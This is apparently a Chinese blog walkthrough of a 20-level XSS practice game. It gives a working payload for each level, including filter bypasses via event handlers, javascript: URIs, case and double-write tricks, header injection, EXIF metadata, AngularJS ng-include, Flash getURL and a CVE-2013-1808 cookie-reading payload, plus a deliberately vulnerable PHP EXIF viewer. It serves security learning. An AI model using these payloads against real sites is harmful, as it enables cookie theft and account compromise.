今天在网上看到了这个Xss的闯关,就下下来做了一下。题目比较基础(有几个还不错),但写都写了就发上来吧。正好再找一些题目顺便总结一下,以后接着更新。
题目源码:
下载:https://www.lanzous.com/i32ah6d 密码:h3fo
Level1
没有进行任何过滤,直接拼接XSS语句弹窗,进入下一关。
payload:
level1.php?name=1<script>alert('xss')</script>;
Level2
有搜索框,随便输入测试,查看源码,发现输入的值直接赋值给了value并在input标签中。我们闭合掉前后的标签就可以了。
Payload:
level2.php?keyword=111"><script>alert('xss')</script><"&submit=搜索
Level3
和level2的布局一样,输入值会作为value值放在input标签中,不同的是转义了尖括号。
但是可以使用onclick等事件来弹窗。
Payload:
1' onclick=alert('xss')//
1' oninput=alert('xss')//
Level4
==?
和L3的payload一样就过了。。(换成了双引号)
Level5
将script和on进行了replace,在单词中间插入了_
。这样就过滤了script标签和一众事件触发xss。
使用a标签+javascript伪协议来触发。(javascript为什么没被替换,看了一下源码替换的是<script)
Payload:
"><a href="javascript:alert('xss')"><"
Level6
href src on <script被替换。
过滤词大写绕过。
看了一下代码,L5将输入全部转小写这个没有所以可以使用大些绕过。
Payload:
"><a HREF="javascript:alert('xss')"><"
"><Script>alert('xss')</script><"
Level7
测试后发现会讲script href等敏感词替换成空。
双写绕过。
Payload:
"><scscriptript>alert('xss')</scrscriptipt><"
Level8
输入框添加友情链接,输入值作为下面超链接a标签href的值。但是script on等敏感词被过滤了。
使用html实体编码绕过。
Payload:
javascript:alert('xss');
Level9
要求输入的内容包含http://
没有要求http://在首部,所以payload如下:
javascript:alert('xss');//http://
Level10
看源码发现有3个input标签,但类型全是hidden。通过拼接?t_link=aaa&t_history=aaa&t_sort=aaa
测试发现只有t_sort这个input会获取输入值作为value值。
通过onclick事件触发xss,要更改一下type。
Payload:
?t_sort=" onclick=alert('xss') type="text"//
Level11
L10的payload中"
被转义了,使用了htmlspecialchars
函数处理再输出的缘故。
但是通过源码发现多了一个name为t_ref的input。
<input name="t_ref" value="http://test.xss.tv/level10.php?t_link=aaa&t_history=aaa&t_sort=%22%20onclick=alert(%27xss%27)%20type=%22text%22//" type="hidden">
他的值是跳转过来的上个页面的链接。抓包改referer。
Level12
得,这次改UA。
Level13
得,改cookie
Level14
Exif Xss
因为题目通过iframe嵌套了http://www.exifviewer.org/但是这个网站需要登录。其实就是显示exif信息。所以自己写了一个来复现一下。
<h1>Test EXIF XSS</h1>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" id="File" name="file"/>
<input type="submit" name="submit" value="submit">
</form>
<?php
//error_reporting(0);
if(isset($_POST['submit'])){
$file = $_FILES['file'];
$filetmps = $file['tmp_name'];
$exif = exif_read_data($file['tmp_name'], 0, true);
foreach ($exif as $key => $section) {
foreach ($section as $name => $val) {
echo "$key.$name: $val<br />\n";
}
}
}
?>
通过exiftool来制作一张伪造exif的图片。(如下修改了Artist)
exiftool -Artist=' "><img src=1 onerror=alert("xss")>' logo.jpg
通过php的exif_read_data
函数读出exif信息,读出的值直接未经过滤的输出,就会导致Xss的发生。
Level15
通过页面源码的head信息发现引入了AngularJS
,考虑AngularJS
框架的xss利用。
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
可以发现版本为1.2.0,试了试发现了一行<!-- ngInclude: undefined -->
,发现这是使用了AngularJS的 ng-include
指令来包含文件。
在本机写一个包含XSS代码的html文件,去包含。
<input type="text" name="" onclick=alert('xss')>
Payload:
http://localhost/xss_game/level15.php?src="http://localhost/index.html"
效果:
AngularJS是一个谷歌开发的MVC客户端框架。使用AngularJS可以对包涵有ng-app标签的模版进行客户端的渲染,他可以通过插入一个特定的标签,然后对这个标签内的内容进行解析,达到渲染模版的效果,正是因为这个特性,所以导致了我们不需要使用html标签,只能要我们输入的内容能够输出在ng-app标签内就可以配合AngularJS的标签来进行xss。
本题的AngularJS利用还是比较简单的,还没有需要绕过进行xss。
Level16
输入值被放在center标签中了。尝试使用img标签弹窗。
<img src='1' onerror=alert('xss')>
查看源码发现空格被转义了,绕过空格的过滤。
localhost/xss_game/level16.php?keyword=<img%0asrc='1'%0aonerror=alert('xss')>
Level17
有个flash,但是和flash没啥关系。在embed标签中插入触发事件。
Payload:
http://localhost/xss_game/level17.php?arg01=q&arg02=q onmouseover=alert('xss')
题目代码是这么写的:
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
Level18
Emmm,L17的payload直接过了。
Level19
flash的xss
使用FFDec反编译xsf03.swf文件。
有地方用到了geturl函数,利用这个函数能自动打开指定的网页。下面看怎么利用。
然后追踪到sIFR的位置。从下面这段代码可以看出version值赋给了_loc4_
,试了一下arg01=version&arg02=aaa
发现其中一段值变成aaa.也就是获取的值输出了。
if(_loc5_ && _root.version != sIFR.VERSION)
{
_loc4_ = sIFR.VERSION_WARNING.split("%s").join(_root.version);
}
因为getURL只在内容为link时打开,所以分析contentIsLink函数。
function contentIsLink()
{
return this.content.indexOf("<a ") == 0 && (this.content.indexOf("<a ") == this.content.lastIndexOf("<a ") && this.content.indexOf("</a>") == this.content.length - 4);
}
那我们就通过a标签来触发xss。
Payload:
http://localhost/xss_game/level19.php?arg01=version&arg02=<a href="javascript:alert('xss')">xss</a>
Level20
拖到FFDec看一下,发现了zeroclipboard.swf.
搜索后发现是zeroclipboard.swf的漏洞,详见[CVE-2013-1808](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1808)。
Payload:
http://localhost/xss_game/level20.php?arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height